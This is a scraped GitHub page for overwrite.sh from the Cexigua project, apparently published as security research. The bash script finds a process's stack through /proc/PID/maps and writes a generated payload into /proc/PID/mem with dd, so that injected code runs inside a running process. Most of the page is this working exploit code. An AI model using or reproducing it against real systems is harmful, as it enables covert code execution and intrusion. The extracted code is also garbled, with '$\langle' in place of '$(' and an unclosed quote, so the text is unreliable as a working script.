



Sign in

AonCyberLabs / Cexigua Public

Notifications

Fork 40

Star 238

Code Issues Pull requests Actions Projects Security Insights

Cexigua / overwrite.sh

...

rorymcnamara Add copyright

34d3386 · 7 years ago



38 lines (31 loc) · 1.1 KB

Code

Blame

Raw



```
1  #!/bin/bash
2  # Copyright (c) 2017 Rory McNamara
3
4  STARTTIME=$(date +%s)
5  SLEEPLN=30
6  echo "Preparing for exploitation, finding LD_PRELOAD if necessary" >&2
7  sleep 30 2>/dev/null &
8  PID=$!
9  TARGET=${1}
10 PRELOAD=$(bash payload.sh ${PID} ${TARGET} PREPARE 2>preload.log)
11 [[ ! $? -eq 0 ]] && exit 1
12
13 if [[ ! -z "${PRELOAD[@]}" ]]; then
14     echo "Ready to exploit, with LD_PRELOAD=\"${PRELOAD[@]}\" >&2
15 else
16     echo "Ready to exploit, without LD_PRELOAD" >&2
17 fi
18
19 LD_PRELOAD="${PRELOAD[@]}" sleep ${SLEEPLN} 2>/dev/null &
20 PID=$!
21 echo pid: ${PID} >&2
22 bash payload.sh ${PID} $@
23 [[ ! $? -eq 0 ]] && exit 1
24
25 echo "Payload generated, injecting..." >&2
26
```

```
27  MAPFILE=( $\langle$ /proc/${PID}/maps))
28  for ((i=0; i<${#MAPFILE[@]}; i++)); do
29      [[ ${MAPFILE[${i}]} = "[stack]" ]] && break
30  done
31  STACKRANGE=${MAPFILE[ $\langle$ (${i}-5)]]}
32
33  IFS="-" read -r -a STACK <<< "${STACKRANGE}"
34  PAYLOADSIZE=$(( $\langle$ (16#${STACK[1]}) -  $\langle$ (16#${STACK[0]})))
35
36  echo "Overwriting stack..." >&2
37  echo "Be patient for sleep to terminate (approx  $\langle$ ((${SLEEPLN} -  $\langle$ ((date +%s) - ${STARTTIME}))) seconds"
38  exec dd if=payload.bin of=/proc/${PID}/mem seek= $\langle$ (16#${STACK[0]}) conv=notrunc status=none bs=1
```